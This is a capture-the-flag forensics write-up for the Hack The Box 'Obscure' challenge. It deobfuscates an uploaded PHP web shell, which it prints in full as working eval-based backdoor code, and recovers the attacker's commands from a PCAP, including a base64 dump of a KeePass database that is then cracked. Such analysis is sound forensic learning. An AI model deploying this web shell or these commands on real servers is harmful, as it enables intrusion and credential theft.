Hack The Box - Obscure

Forensics writeup for the Hack The Box Obscure challenge, covering web shell deobfuscation, PCAP analysis, payload recovery, and KeePass cracking.

Hack The Box - Obscure

Writeup for the HackTheBox Obscure forensics challenge.


🕵️ Forensics

Challenge: Obscure [Easy]

Description

An attacker found a vulnerability in the web server that allowed arbitrary PHP file uploads to the Apache server. The attacker uploaded what looked like an obfuscated shell named support.php.

We were also given a short PCAP capture generated by tcpdump. The goal is to analyze the web shell and network traffic to identify the commands executed by the attacker and understand what data was compromised.


Given Files

After extracting the attachment, we get three files:

1
2
3
4
5
user@parrot~> unzip Obscure.zip

inflating: 19-05-21_22532255.pcap
inflating: support.php
inflating to-do.txt

The to-do.txt file also explains the incident:

An attacker has found a vulnerability in our web server that allows arbitraty PHP file upload in our Apache server. Suchlike, the hacker has uploaded a what seems to be like an obfuscated shell (support.php). We monitor our network 24/7 and generate logs from tcpdump (we provided the log file for the period of two minutes before we terminated the HTTP service for investigation), however. we need your help in analyzing and identifying commands the attacker wrote to understand what was compromised.

From the description, we know that the suspicious activity is related to an uploaded PHP web shell. So, I started by analyzing support.php.


Analyzing the Web Shell

The support.php file contains obfuscated PHP code:

1
2
3
4
5
6
7
8
9
10
<?php
$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x($';
$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';
$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';
$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}';
$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');
$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';
$u=str_replace('u)','',$V.$d.$P.$c.$B);
$x=$N('',$u);$x();
?>

At first glance, the code is not very readable because it uses string concatenation and str_replace() to hide the actual payload. A simple way to deobfuscate it is to print the generated $u variable before it gets executed.

I modified the script like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x($';

$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';

$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';

$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}';

$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');

$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';

$u=str_replace('u)','',$V.$d.$P.$c.$B);

print_r($u); die();

// $x=$N('',$u);$x();
?>

After running it, the script prints the real backdoor code:

1
$k="80e32263";$kh="6f8af44abea0";$kf="351039f4a7b5";$p="0UlYyJHG87EJqEz6";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

After formatting it, the logic becomes easier to understand:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$k = "80e32263";
$kh = "6f8af44abea0";
$kf = "351039f4a7b5";
$p = "0UlYyJHG87EJqEz6";

function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";

    for ($i = 0; $i < $l; ) {
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }

    return $o;
}

if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();

    $leet = @gzuncompress(@x(@base64_decode($m[1]), $k));
    print "$leet"; die();

    @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));

    $o = @ob_get_contents();
    @ob_end_clean();

    $r = @base64_encode(@x(@gzcompress($o), $k));

    // print "$p$kh$r$kf";
}
?>

From this code, we can identify several important values:

VariableValue
$k80e32263
$kh6f8af44abea0
$kf351039f4a7b5
$p0UlYyJHG87EJqEz6

The backdoor reads data from php://input, then searches for this format:

$kh + base64_payload + $kf

The payload is then decoded, XOR-decrypted using the key $k, decompressed with gzuncompress(), and finally executed using eval().

So, to recover the attacker’s commands, we need to look for HTTP POST requests that contain data between:

6f8af44abea0 ... 351039f4a7b5

Analyzing the PCAP

HTTP traffic overview

There are many HTTP requests in the capture. Since the backdoor reads data from POST requests, I filtered the traffic to only show HTTP POST requests.

Filtered HTTP POST requests

There are four suspicious POST requests that match the web shell format.

Extracted HTTP files


Payload 1: Checking Current User

1
2
3
user@parrot~> curl -X POST localhost:1337/shell.php -d "6f8af44abea0QKwu/Xr7GuFo50p4HuAZHBfnqhv7/+ccFfisfH4bYOSMRi0eGPgZuRd6SPsdGP//c+dVM7gnYSWvlINZmlWQGyDpzCowpzczRely/Q351039f4a7b5"
#output
#chdir('/var/www/html/uploads');@error_reporting(0);@system('id 2>&1');

The attacker executed:

1
2
3
chdir('/var/www/html/uploads');
@error_reporting(0);
@system('id 2>&1');

This command checks the current user and privileges of the web server process.

First payload hex view


Payload 2: Listing Home Directories

1
2
3
user@parrot~> curl -X POST localhost:1337/shell.php -d "6f8af44abea0QKxo+HM4thMoMKWcSng9UZNbdc4WFhO2jaU4eMhPaDTePEuB48JstWIb4aEirLpXpdgb7g8Bx/IGI/JLbVRcFack+r90YxXpmBA1wQKaU9jeRhvp7imF351039f4a7b5"
#output
#chdir('/var/www/html/uploads');@error_reporting(0);@system('ls -lah /home/* 2>&1');

The attacker executed:

1
2
3
chdir('/var/www/html/uploads');
@error_reporting(0);
@system('ls -lah /home/* 2>&1');

This command lists files and directories under /home/.

Second payload strings


Payload 3: Changing Directory to /home/developer

1
2
3
user@parrot~> curl -X POST localhost:1337/shell.php -d "6f8af44abea0QKxI+Ak49hMoNaXoypsATiJfd3clJ+KmL5OyfLiGNSBKHFWppDXbjhH/M9orZ0qPjQ14MLA5CjeLxAG9/fBJgQyWrbiZPrCFcj3xDb95CvC29r/AN2ziEh0351039f4a7b5"
#ouput
#chdir('/var/www/html/uploads');@error_reporting(0);@chdir('/home/developer')&&print(@getcwd());

The attacker executed:

1
2
3
chdir('/var/www/html/uploads');
@error_reporting(0);
@chdir('/home/developer') && print(@getcwd());

The attacker tried to change the working directory to /home/developer and print the current directory to confirm that the directory change was successful.

Third payload metadata


Payload 4: Exfiltrating the KeePass Database

1
2
3
user@parrot~> curl -X POST localhost:1337/shell.php -d "6f8af44abea0QKwu/Xr7GuFo56r7/X/jfHEdLv77HX4eaufRRXofHPkXukp5H/oZGfH8LuQCMrwmbybyl9RYnhQdJsKpqxrepRMoTSemlRLaXZdBZhoq75ohMhAxMvrQKEw351039f4a7b5"
#output
#chdir('/home/developer');@error_reporting(0);@system('base64 -w 0 pwdb.kdbx 2>&1');

The attacker executed:

1
2
3
chdir('/home/developer');
@error_reporting(0);
@system('base64 -w 0 pwdb.kdbx 2>&1');

This command reads pwdb.kdbx, encodes it with Base64, and returns it through the web shell. The file is likely a KeePass password database.

Base64 encoded database output

The decoded response contains the Base64 output of the pwdb.kdbx file.

To recover the database, I decoded the Base64 output and saved it as pwdb.kdbx:

1
user@parrot~> echo "<base64-output>" | base64 -d > pwdb.kdbx

After that, I cracked the KeePass database password using John the Ripper.

John cracking result

Finally, I opened the database using KeePass and found the flag.

KeePass flag


Flag

HTB{redacted}

The original flag is redacted.


Conclusion

In this challenge, the attacker uploaded an obfuscated PHP web shell and used it to execute commands on the server. By deobfuscating the shell, we learned how the payload was encoded and encrypted. Then, by filtering the PCAP for HTTP POST requests, we recovered the attacker’s commands.

The attacker checked the web server user, listed /home/, moved into /home/developer, and exfiltrated a KeePass database named pwdb.kdbx. After decoding and cracking the database, we obtained the flag.

“Capture The Flag is not just a game. It’s a journey to mastering cybersecurity.”

#HappyHacking 🔐

This post is licensed under CC BY 4.0 by the author.